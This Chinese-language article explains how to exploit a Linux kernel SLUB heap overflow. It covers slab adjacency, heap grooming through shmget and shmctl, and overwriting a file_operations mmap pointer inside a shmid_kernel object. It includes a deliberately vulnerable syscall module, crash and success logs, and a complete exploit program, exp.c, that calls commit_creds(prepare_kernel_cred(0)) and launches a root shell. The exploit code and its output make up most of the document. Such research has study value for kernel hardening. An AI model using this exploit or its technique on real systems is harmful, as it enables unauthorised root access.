Exploit Linux Kernel Slub Overflow

By wzt一、前言最近几年关于kernel exploit的研究比较热门，常见的内核提权漏洞大致可以分为几类：
空指针引用，内核堆栈溢出，内核slab溢出，内核任意地址可写等等。空指针引用漏洞比较
容易exploit，典型的例子如sock_sendpage，udp_sendmsg。但是新内核的安全模块已经不
在允许userspace的code映射低内存了，所以NULL pointer dereference曾经一度只能dos，
不能提权。但是CVE-2010-4258这个内核任意地址可写漏洞，可以将null pointer dereference
的dos转化为提权。内核堆栈溢出相对userspace下的堆栈溢出比较好exploit。这里最难exploit
的是kernel的slab溢出。关于slab的溢出在05年的时候，UNF的qobaiashi就写过paper来阐述
slab的exploit方法。此后关于slab的溢出研究在都集中在2.4内核上，2.6下的slab溢出一
直没看到有相关的paper共享出来。在kernel 2.6.22的时候，kernel为了改善slab的性能，引入了slub的设计。针对slub
溢出的paper一直没有被共享直到Jon Oberheide发布了一个针对CAN协议的slub溢出的exploit，
这个应该是第一个公开的在2.6kernel上利用slab溢出的exploit，在ubuntu-10.04 2.6.32
的kernel上运行成功。Jon Oberheide在他的blog上也有篇关于分析slub溢出的paper，但是
这个exploit由于利用了CAN代码上的一些优势，并没有把slub溢出的精髓体现出来。在深入
研究了这个exploit的基础上，在加上我调试2.4内核slab溢出的经验，研究了一下slub的溢
出技术，在centos 5.4 + 2.6.32环境测试成功。二、示例代码：为了便于调试，我自己写了一个LKM模块，给内核新增了一个系统调用，用户可以通过
api接口来调用。--code-------------------------------------------------------------------------
#define BUFFER_SIZE 80asmlinkage long kmalloc_overflow_test(char *addr, int size)
{char *buff = NULL;buff = kmalloc(BUFFER_SIZE, GFP_KERNEL);if (!buff) {printk("kmalloc failed.\n");return -1;}printk("[+] Got object at 0x%p\n", buff);if (copy_from_user(buff, addr, size)) {printk("copy_from_user failed.\n");kfree(buff);return -1;}printk("%s\n", buff);return 0;
}
-------------------------------------------------------------------------------这段代码用kmalloc分配了80字节的空间，但没有检查size的大小，用户传递一个大于
80的size值将会产生内核堆溢出。三、SLUB结构slub大大简化了slab的数据结构，如从kmem_cache的3个关于slab的队列中去掉了完全
满的队列。每个slab的开始也没有了slab管理结构和管理空obj的kmem_bufctl_t数组。一个
采用slub管理的slab结构如下：一个slab的结构：+-------------------------------------------+| obj | obj | obj |   ...               |obj|+-------------------------------------------+  根据上面的代码片段，在一个obj溢出后，脏数据会直接覆盖后面相邻的那个obj：|first|second|+-------------------------------------------+| obj | obj | obj |   ...               |obj|+-------------------------------------------+  |-----overflow--->|当有内核代码访问了被溢出的obj中的数据结构后，就会产生oops。四、SLUB溢出方法内核提权的最终目的就是触发某个kernel bug，然后控制内核路径到userspace事先布
置好的shellcode上。因此我们的大方向是在second obj中如果有一个函数指针能被脏数据
覆盖为userspace下的shellcode，并且用户又能调用这个函数指针，那么将会完成权限提升
的任务。还有一个要处理的问题就是如何保证在有bug的代码中用kmalloc分配的obj和我们
想要覆盖的函数指针所在的obj是相邻的。因为只能两者相邻，才能用溢出的数据覆盖函数
指针。我们先假设已经在kernel中找到了一个数据结构，正好满足了上面的需求，现在只要保
证两个obj是相邻的，就能完成指针覆盖。我们知道slab的一个特性是当一个cache中的所有
slab结构中的obj都用完的时候，内核将会重新分配一个slab，新分配的slab中的obj彼此都
是相邻的：Kmalloc()->__kmalloc()->__do_kmalloc()->__cache_alloc()->____cache_alloc()
->cache_alloc_refill()->cache_grow()->cache_init_objs()
--code-------------------------------------------------------------------------
static void cache_init_objs(struct kmem_cache *cachep,
struct slab *slabp, unsigned long ctor_flags)
{for (i = 0; i < cachep->num; i++) {void *objp = index_to_obj(cachep, slabp, i);slab_bufctl(slabp)[i] = i + 1;}slab_bufctl(slabp)[i - 1] = BUFCTL_END;slabp->free = 0;
}
-------------------------------------------------------------------------------前面在slab的结构中提到有个kmem_bufctl_t数组，里面的每个元素指向下一个空闲obj
的索引。在初始化一个新的slab时，每个kmem_bufctl_t元素都顺序的指向了与它相邻的下一
个obj，所以当内核重新分配一个slab结构时，我们从这个新的slab中分配的obj都是相邻的。那么SLUB是不是也满足这个特性呢？在仔细读过slub的代码后，发现它也满足这个特性：kmalloc()->slab_alloc()->__slab_alloc()->new_slab():
--code-------------------------------------------------------------------------
static struct page *new_slab(struct kmem_cache *s, gfp_t flags, int node)
{last = start;for_each_object(p, s, start, page->objects) {setup_object(s, page, last);set_freepointer(s, last, p);last = p;}setup_object(s, page, last);set_freepointer(s, last, NULL);
}
#define for_each_object(__p, __s, __addr, __objects) \for (__p = (__addr); __p < (__addr) + (__objects) * (__s)->size;\__p += (__s)->size)
-------------------------------------------------------------------------------这段代码遍历一个page中的所有obj进行初始化：--code-------------------------------------------------------------------------
static inline void set_freepointer(struct kmem_cache *s, void *object, void *fp)
{*(void **)(object + s->offset) = fp;
}
-------------------------------------------------------------------------------s->offset保存的是一个slab中下一个空闲的obj偏移，set_freepointer函数将一个obj
的下一个空闲指针指向了下一个obj。所以slub也满足这个特性。现在我们只要在用户空间找到一种方法来不断消耗大小为96的slab，当现有的slab用完
的时候，新分配的slab中的obj就是连续相邻的。如何消耗slab，我们仍然可以用shmget系
统调用来处理，并且它用到的struct shmid_kernel结构中，就有我们想覆盖的函数指针！ipc/shm.c:
--code-------------------------------------------------------------------------
sys_shmget->ipcget->ipcget_new->newseg:
static int newseg(struct ipc_namespace *ns, struct ipc_params *params)
{struct shmid_kernel *shp;shp = ipc_rcu_alloc(sizeof(*shp));shp->shm_file = file;
}
void* ipc_rcu_alloc(int size)
{out = kmalloc(HDRLEN_KMALLOC + size, GFP_KERNEL);
}
-------------------------------------------------------------------------------因此只要在用户空间不断调用shmget就会在内核中不断消耗大小为96的slab。示例中的
代码分配的是80个字节，它将会在96大小的slab中分配，这里还有一点需要注意：--code-------------------------------------------------------------------------
out = kmalloc(HDRLEN_KMALLOC + size, GFP_KERNEL);
-------------------------------------------------------------------------------用shmget分配的obj前段都有一个8个字节的站位空间，因此用shmget分配的shmid_kernel
结构将会如下：| ------ 96 --------------------| ---------------96 ------------|+---------------------------------------------------------------+| HDRLEN_KMALLOC | shmid_kernel | HDRLEN_KMALLOC | shmid_kernel |+---------------------------------------------------------------+  在以后覆盖的时候需要跳过HDRLEN_KMALLOC个字节。内核中关于slab的信息，可以在/proc/slabinfo得到:-------------------------------------------------------------------------------
[wzt@localhost exp]$ cat /proc/slabinfo |grep kmalloc-96
kmalloc-96           922    924     96   42    1 : tunables    0    0    0 : slabdata     22     22      0
-------------------------------------------------------------------------------922为当前活跃的obj数目，924是所有slab中obj的数目，因此我们在用户空间中可以解
析这个文件来得到当前系统中剩余的obj数目：--code-------------------------------------------------------------------------
int check_slab(char *slab_name, int *active, int *total)
{FILE *fp;char buff[1024], name[64];int active_num, total_num;fp = fopen("/proc/slabinfo", "r");if (!fp) {perror("fopen");return -1;}while (fgets(buff, 1024, fp) != NULL) {sscanf(buff, "%s %u %u", name, &active_num, &total_num);if (!strcmp(slab_name, name)) {*active = active_num;*total = total_num;return total_num - active_num;}}return -1;
}
-------------------------------------------------------------------------------现在写一段code来不断调用shmget，看看新分配的obj是不是连续的，为了调试方便，
我修改了sys_shmget的代码，加入了printk用于打印kmalloc后的地址。trigger程序的代码
片段如下：trigger.c:
--code-------------------------------------------------------------------------
...shmids = malloc(sizeof(int) * (free_num + SLAB_NUM * 3));fprintf(stdout, "[+] smashing free slab ...\n");for (i = 0; i < free_num + SLAB_NUM; i++) {if (!check_slab(SLAB_NAME, &active_num, &total_num))break;shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);if (shmids[i] < 0) {perror("shmget");return -1;}}base = i;fprintf(stdout, "[+] smashing %d total: %d active: %d free: %d\n",i, total_num, active_num, total_num - active_num);fprintf(stdout, "[+] smashing adjacent slab ...\n");i = base;for (; i < base + SLAB_NUM; i++) {shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);if (shmids[i] < 0) {perror("shmget");return -1;}}check_slab(SLAB_NAME, &active_num, &total_num);fprintf(stdout, "[+] smashing %d total: %d active: %d free: %d\n",i, total_num, active_num, total_num - active_num);
...[wzt@localhost exp]$ ./exp
[+] mmaping kernel code at 0x41414141 ok.
[+] looking for symbols...
[+] found commit_creds addr at 0xc0446524.
[+] found prepare_kernel_cred addr at 0xc0446710.
[+] setting up exploit payload...
[+] checking slab total: 840 active: 836 free: 4
[+] smashing free slab ...
[+] smashing 17 total: 840 active: 840 free: 0
[+] smashing adjacent slab ...
[+] smashing 117 total: 966 active: 966 free: 0
-------------------------------------------------------------------------------可以看到dmesg后的信息，新的obj都是连续的。-------------------------------------------------------------------------------
[wzt@localhost exp]$ dmesg|tail -n 10
[+] kmalloc at 0xdf1ea120
[+] kmalloc at 0xdf1ea180
[+] kmalloc at 0xdf1ea1e0
[+] kmalloc at 0xdf1ea240
[+] kmalloc at 0xdf1ea2a0
[+] kmalloc at 0xdf1ea300
[+] kmalloc at 0xdf1ea360
[+] kmalloc at 0xdf1ea3c0
[+] kmalloc at 0xdf1ea420
[+] kmalloc at 0xdf1ea480
-------------------------------------------------------------------------------ok，我们已经能获得一个连续的obj了，现在要利用slub的另一个特性：FIFO，先在这
些连续的obj中选取一个obj释放掉，然后马上触发有bug的代码，那么有bug的代码调用kmalloc
分配的obj地址就是刚才释放掉的那个obj，当溢出发生后，脏数据将会覆盖它相邻的下一个
obj。可以用如下代码来触发：trigger.c:
--code-------------------------------------------------------------------------
...free_idx = i - 4;fprintf(stdout, "[+] free exist shmid with idx: %d\n", free_idx);if (shmctl(shmids[free_idx], IPC_RMID, NULL) == -1) {perror("shmctl");}fprintf(stdout, "[+] trigger kmalloc overflow in %s\n", SLAB_NAME);memset(buff, 0x41, sizeof(buff));kmalloc_overflow_test(buff, SLAB_SIZE + HDRLEN_KMALLOC + sizeof(shmid_kernel));
...
-------------------------------------------------------------------------------在这里我们将倒数第4个obj释放掉，执行后dmesg可以看到：-------------------------------------------------------------------------------
[+] kmalloc at 0xd3decc00
[+] kmalloc at 0xd3decc60
[+] kmalloc at 0xd3deccc0
[+] kmalloc at 0xd3decd20
[+] kmalloc at 0xd3decd80
[-] kfree at 0xd3decc60
...............................
[+] Got object at 0xd3decc60
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-------------------------------------------------------------------------------shmctl释放掉了0xd3decc60地址后，有bug的kmalloc分配的地址也是0xd3decc60。-------------------------------------------------------------------------------
[wzt@localhost exp]$ tail /proc/sysvipc/shm0    8192250     0       1024  3148     0      0   500   500   500   500          0          0 1293098372
1094795585 1094795585     0        500 134522884     0    500 1094795585 1094795585     0     0 4294967295        252          0
1094795585 1094795585     0       1024  3148     0      0   500   500   500   500          0          0 12930983720    8323326     0       1024  3148     0      0   500   500   500   500          0          0 1293098372
-------------------------------------------------------------------------------可以看到与0xd3decc60相邻的下一个obj地址0xd3deccc0中的shmid_kernel结构已经被
覆盖了。现在我们可以来覆盖一个函数指针了，在shmid_kernel中正好有满足我们需要的函数指
针!kernel中处理ipc共享内存的一个数据结构struct shmid_kernel：--code-------------------------------------------------------------------------
struct shmid_kernel /* private to the kernel */
{       struct kern_ipc_perm    shm_perm;struct file *           shm_file;unsigned long           shm_nattch;unsigned long           shm_segsz;      time_t                  shm_atim;time_t                  shm_dtim;time_t                  shm_ctim;pid_t                   shm_cprid;pid_t                   shm_lprid;struct user_struct      *mlock_user;
};      struct shmid_kernel {.shm_file = struct file {.f_op = struct file_operations = {.mmap = ATTACKER_ADDRESS}}
}
-------------------------------------------------------------------------------可以用shmat的系统调用来触发：--code-------------------------------------------------------------------------
sys_shmat()->do_shmat():
long do_shmat(int shmid, char __user *shmaddr, int shmflg, ulong *raddr)
{user_addr = do_mmap(file, addr, size, prot, flags, 0);
}
-------------------------------------------------------------------------------do_mmap将被覆盖为shellcode地址。ok，现在可以写一个完整的exp了，试试先：-------------------------------------------------------------------------------
[wzt@localhost exp]$ ./exp
执行后系统挂掉了， 看下dmesg信息：
[+] kmalloc at 0xd31752a0
[+] kmalloc at 0xd3175300
[+] kmalloc at 0xd3175360
[+] kmalloc at 0xd31753c0
[+] kmalloc at 0xd3175420
[+] kmalloc at 0xd3175480
[+] kmalloc at 0xd31754e0
[-] kfree at 0xd31753c0
...............................
[+] Got object at 0xd31753c0
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
BUG: unable to handle kernel NULL pointer dereference at (null)
IP: [<c04fc352>] ipc_has_perm+0x46/0x61
*pde = 00000000
Oops: 0000 [#1] SMP
last sysfs file: /sys/devices/pci0000:00/0000:00:05.0/local_cpus
Modules linked in: sys ipv6 autofs4 sunrpc ip_tables ip6_tables x_tables dm_multipath video output sbs sbshc battery ac parport_pc lp parport snd_intel8x0 snd_ac97_codec ac97_bus snd_seq_dummy snd_seq_oss snd_seq_midi_event snd_seq snd_seq_device snd_pcm_oss snd_mixer_oss ide_cd_mod button cdrom snd_pcm rtc_cmos serio_raw rtc_core rtc_lib snd_timer 8139too floppy snd 8139cp soundcore i2c_piix4 mii snd_page_alloc i2c_core pcspkr dm_snapshot dm_zero dm_mirror dm_region_hash dm_log dm_mod ata_piix libata sd_mod scsi_mod ext3 jbd uhci_hcd ohci_hcd ehci_hcd [last unloaded: microcode]Pid: 3190, comm: exp Not tainted (2.6.32 #2) Bochs
EIP: 0060:[<c04fc352>] EFLAGS: 00010246 CPU: 1
EIP is at ipc_has_perm+0x46/0x61
EAX: 00000000 EBX: 00000000 ECX: 00000000 EDX: d3175428
ESI: 000001f0 EDI: d33ebf30 EBP: 00000080 ESP: d33ebec8DS: 007b ES: 007b FS: 00d8 GS: 0033 SS: 0068
Process exp (pid: 3190, ti=d33eb000 task=dbe6ea30 task.ti=d33eb000)
Stack:d3175428 d33ebed0 00000004 00000000 00000000 00000000 00000000 00000000
<0> 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
<0> 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
Call Trace:[<c04f9cf3>] ? security_ipc_permission+0xf/0x10[<c04f22e4>] ? do_shmat+0xdc/0x349[<c04057da>] ? sys_ipc+0xff/0x162[<c0402865>] ? syscall_call+0x7/0xb
Code: 8c e4 82 c0 8b 92 d8 02 00 00 89 c7 8b 52 58 8b 72 04 31 d2 89 44 24 04 89 d0 f3 ab 8b 14 24 c6 44 24 08 04 8b 42 0c 89 44 24 10 <0f> b7 0b 8d 44 24 08 8b 53 04 50 89 f0 55 e8 75 fb ff ff 83 c4
EIP: [<c04fc352>] ipc_has_perm+0x46/0x61 SS:ESP 0068:d33ebec8
CR2: 0000000000000000
---[ end trace 7bbab7e881899412 ]---
[wzt@localhost exp]$
-------------------------------------------------------------------------------看上去像selinux的问题，将它关闭掉再试试：-------------------------------------------------------------------------------
[wzt@localhost exp]$ ./exp
[+] mmaping kernel code at 0x41414141 ok.
[+] looking for symbols...
[+] found commit_creds addr at 0xc0446524.
[+] found prepare_kernel_cred addr at 0xc0446710.
[+] setting up exploit payload...
[+] checking slab total: 798 active: 791 free: 7
[+] smashing free slab ...
[+] smashing 5 total: 798 active: 798 free: 0
[+] smashing adjacent slab ...
[+] smashing 105 total: 924 active: 924 free: 0
[+] free exist shmid with idx: 101
[+] trigger kmalloc overflow in kmalloc-96
[+] shmid_kernel size: 80
[+] kern_ipc_perm size: 44
[+] shmid: 3309669
[+] launching root shell!
[root@localhost exp]# uname -a
Linux localhost.localdomain 2.6.32 #2 SMP Thu Dec 23 14:59:36 CST 2010 i686 i686 i386 GNU/Linux
[root@localhost exp]#
-------------------------------------------------------------------------------成功了，终于得到可爱的root了！ 五、源码：exp.c
/** linux kernel slub overflow test exploit** by wzt    <wzt.wzt@gmail.com>**/#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <limits.h>
#include <inttypes.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <sys/mman.h>
#include <sys/stat.h>#include "syscalls.h"#define __NR_kmalloc_overflow_test    59#define KALLSYMS_NAME         "/proc/kallsyms"
#define SLAB_NAME           "kmalloc-96"
#define SLAB_SIZE           96
#define SLAB_NUM            100#define IPCMNI               32768
#define EIDRM               43
#define HDRLEN_KMALLOC          8struct list_head {struct list_head *next;struct list_head *prev;
};struct super_block {struct list_head s_list;unsigned int s_dev;unsigned long s_blocksize;unsigned char s_blocksize_bits;unsigned char s_dirt;uint64_t s_maxbytes;void *s_type;void *s_op;void *dq_op;void *s_qcop;void *s_export_op;unsigned long s_flags;
}super_block;struct mutex {unsigned int count;unsigned int wait_lock;struct list_head wait_list;void *owner;
};struct inode {struct list_head i_hash;struct list_head i_list;struct list_head i_sb_list;struct list_head i_dentry_list;unsigned long i_ino;unsigned int i_count;unsigned int i_nlink;unsigned int i_uid;unsigned int i_gid;unsigned int i_rdev;uint64_t i_version;uint64_t i_size;unsigned int i_size_seqcount;long i_atime_tv_sec;long i_atime_tv_nsec;long i_mtime_tv_sec;long i_mtime_tv_nsec;long i_ctime_tv_sec;long i_ctime_tv_nsec;uint64_t i_blocks;unsigned int i_blkbits;unsigned short i_bytes;unsigned short i_mode;unsigned int i_lock;struct mutex i_mutex;unsigned int i_alloc_sem_activity;unsigned int i_alloc_sem_wait_lock;struct list_head i_alloc_sem_wait_list;void *i_op;void *i_fop;struct super_block *i_sb;void *i_flock;void *i_mapping;char i_data[84];void *i_dquot_1;void *i_dquot_2;struct list_head i_devices;void *i_pipe_union;unsigned int i_generation;unsigned int i_fsnotify_mask;void *i_fsnotify_mark_entries;struct list_head inotify_watches;struct mutex inotify_mutex;
}inode;struct dentry {unsigned int d_count;unsigned int d_flags;unsigned int d_lock;int d_mounted;void *d_inode;struct list_head d_hash;void *d_parent;
}dentry;struct file_operations {void *owner;void *llseek;void *read;void *write;void *aio_read;void *aio_write;void *readdir;void *poll;void *ioctl;void *unlocked_ioctl;void *compat_ioctl;void *mmap;void *open;void *flush;void *release;void *fsync;void *aio_fsync;void *fasync;void *lock;void *sendpage;void *get_unmapped_area;void *check_flags;void *flock;void *splice_write;void *splice_read;void *setlease;
}op;struct vfsmount {struct list_head mnt_hash;void *mnt_parent;void *mnt_mountpoint;void *mnt_root;void *mnt_sb;struct list_head mnt_mounts;struct list_head mnt_child;int mnt_flags;const char *mnt_devname;struct list_head mnt_list;struct list_head mnt_expire;struct list_head mnt_share;struct list_head mnt_slave_list;struct list_head mnt_slave;struct vfsmount *mnt_master;struct mnt_namespace *mnt_ns;int mnt_id;int mnt_group_id;int mnt_count;
}vfsmount;struct file {struct list_head fu_list;struct vfsmount *f_vfsmnt;struct dentry *f_dentry;void *f_op;unsigned int f_lock;unsigned long f_count;
}file;struct kern_ipc_perm {unsigned int lock;int deleted;int id;unsigned int key;unsigned int uid;unsigned int gid;unsigned int cuid;unsigned int cgid;unsigned int mode;unsigned int seq;void *security;
};  struct shmid_kernel {struct kern_ipc_perm shm_perm;struct file *shm_file;unsigned long shm_nattch;unsigned long shm_segsz;time_t shm_atim;time_t shm_dtim;time_t shm_ctim;unsigned int shm_cprid;unsigned int shm_lprid;void *mlock_user;
}shmid_kernel;typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;static inline my_syscall2(long, kmalloc_overflow_test, char *, addr, int, size);int __attribute__((regparm(3)))
kernel_code(struct file *file, void *vma)
{commit_creds(prepare_kernel_cred(0));return -1;
}unsigned long find_symbol_by_proc(char *file_name, char *symbol_name)
{FILE *s_fp;char buff[200];char *p = NULL, *p1 = NULL;unsigned long addr = 0;s_fp = fopen(file_name, "r");if (s_fp == NULL) {printf("open %s failed.\n", file_name);return 0;}while (fgets(buff, 200, s_fp) != NULL) {if (strstr(buff, symbol_name) != NULL) {buff[strlen(buff) - 1] = "\0";p = strchr(strchr(buff, " ") + 1, " ");++p;if (!p) {return 0;}if (!strcmp(p, symbol_name)) {p1 = strchr(buff, " ");*p1 = "\0";sscanf(buff, "%lx", &addr);//addr = strtoul(buff, NULL, 16);printf("[+] found %s addr at 0x%x.\n",symbol_name, addr);break;}}}fclose(s_fp);return addr;
}int check_slab(char *slab_name, int *active, int *total)
{FILE *fp;char buff[1024], name[64];int active_num, total_num;fp = fopen("/proc/slabinfo", "r");if (!fp) {perror("fopen");return -1;}while (fgets(buff, 1024, fp) != NULL) {sscanf(buff, "%s %u %u", name, &active_num, &total_num);if (!strcmp(slab_name, name)) {*active = active_num;*total = total_num;return total_num - active_num;}}return -1;
}void clear_old_shm(void)
{char *cmd = "for shmid in `cat /proc/sysvipc/shm | awk "{print $2}"`; ""do ipcrm -m $shmid > /dev/null 2>&1; done;";system(cmd);
}void mmap_init(void)
{void *payload;payload = mmap((void *)(0x41414141 & ~0xfff), 2 * 4096,PROT_READ | PROT_WRITE | PROT_EXEC,MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);if ((long)payload == -1) {printf("[*] Failed to mmap() at target address.\n");return ;}printf("[+] mmaping kernel code at 0x41414141 ok.\n"); memcpy((void *)0x41414141, &kernel_code, 1024);}void setup(void)
{printf("[+] looking for symbols...\n");commit_creds = (_commit_creds)find_symbol_by_proc(KALLSYMS_NAME, "commit_creds");if (!commit_creds) {printf("[-] not found commit_creds addr.\n");return ;}prepare_kernel_cred = (_prepare_kernel_cred)find_symbol_by_proc(KALLSYMS_NAME, "prepare_kernel_cred");if (!prepare_kernel_cred) {printf("[-] not found prepare_kernel_cred addr.\n");return ;}printf("[+] setting up exploit payload...\n");super_block.s_flags = 0;inode.i_size = 4096;inode.i_sb = &super_block;inode.inotify_watches.next = &inode.inotify_watches;inode.inotify_watches.prev = &inode.inotify_watches;inode.inotify_mutex.count = 1;dentry.d_count = 4096;dentry.d_flags = 4096;dentry.d_parent = NULL;dentry.d_inode = &inode;op.mmap = &kernel_code;op.get_unmapped_area = &kernel_code;vfsmount.mnt_flags = 0;vfsmount.mnt_count = 1;file.fu_list.prev = &file.fu_list;file.fu_list.next = &file.fu_list;file.f_dentry = &dentry;file.f_vfsmnt = &vfsmount;file.f_op = &op;shmid_kernel.shm_perm.key = IPC_PRIVATE;shmid_kernel.shm_perm.uid = 501;shmid_kernel.shm_perm.gid = 501;shmid_kernel.shm_perm.cuid = getuid();shmid_kernel.shm_perm.cgid = getgid();shmid_kernel.shm_perm.mode = -1;shmid_kernel.shm_file = &file;
}int trigger(void)
{int *shmids;int total_num, active_num, free_num;int base, free_idx, i;int ret;char buff[1024];clear_old_shm();free_num = check_slab(SLAB_NAME, &active_num, &total_num);fprintf(stdout, "[+] checking slab total: %d active: %d free: %d\n",total_num, active_num, total_num - active_num);shmids = malloc(sizeof(int) * (free_num + SLAB_NUM * 3));fprintf(stdout, "[+] smashing free slab ...\n");for (i = 0; i < free_num + SLAB_NUM; i++) {if (!check_slab(SLAB_NAME, &active_num, &total_num))break;shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);if (shmids[i] < 0) {perror("shmget");return -1;}}base = i;fprintf(stdout, "[+] smashing %d total: %d active: %d free: %d\n",i, total_num, active_num, total_num - active_num);fprintf(stdout, "[+] smashing adjacent slab ...\n");i = base;for (; i < base + SLAB_NUM; i++) {shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);if (shmids[i] < 0) {perror("shmget");return -1;}}check_slab(SLAB_NAME, &active_num, &total_num);fprintf(stdout, "[+] smashing %d total: %d active: %d free: %d\n",i, total_num, active_num, total_num - active_num);//free_idx = base + SLAB_NUM - 4;free_idx = i - 4;fprintf(stdout, "[+] free exist shmid with idx: %d\n", free_idx);if (shmctl(shmids[free_idx], IPC_RMID, NULL) == -1) {perror("shmctl");}sleep(1);fprintf(stdout, "[+] trigger kmalloc overflow in %s\n", SLAB_NAME);memset(buff, 0x41, sizeof(buff));shmid_kernel.shm_perm.seq = shmids[free_idx + 1] / IPCMNI;memcpy(&buff[SLAB_SIZE + HDRLEN_KMALLOC], &shmid_kernel, sizeof(shmid_kernel));//memcpy(&buff[SLAB_SIZE], &shmid_kernel, sizeof(shmid_kernel));printf("[+] shmid_kernel size: %d\n", sizeof(shmid_kernel));printf("[+] kern_ipc_perm size: %d\n", sizeof(struct kern_ipc_perm));printf("[+] shmid: %d\n", shmids[free_idx]);kmalloc_overflow_test(buff, SLAB_SIZE + HDRLEN_KMALLOC + sizeof(shmid_kernel));ret = (int)shmat(shmids[free_idx + 1], NULL, SHM_RDONLY);if (ret == -1 && errno != EIDRM) {setresuid(0, 0, 0);setresgid(0, 0, 0);printf("[+] launching root shell!\n");execl("/bin/bash", "/bin/bash", NULL);exit(0);}return 0;
}int main(void)
{mmap_init();setup();trigger();
}六、参考1、 Jon Oberheide - Linux Kernel CAN SLUB Overflow
2、 grip2 - Linux 内核溢出研究系列(2) - kmalloc 溢出技术
3、 qobaiashi - the sotry of exploiting kmalloc() overflows
4、 Ramon de Carvalho Valle - Linux Slab Allocator Bu_er Overow Vulnerabilities
5、 wzt - How to Exploit Linux Kernel NULL Pointer Dereference
6、 wzt - Linux kernel stack and heap exploitation-EOF-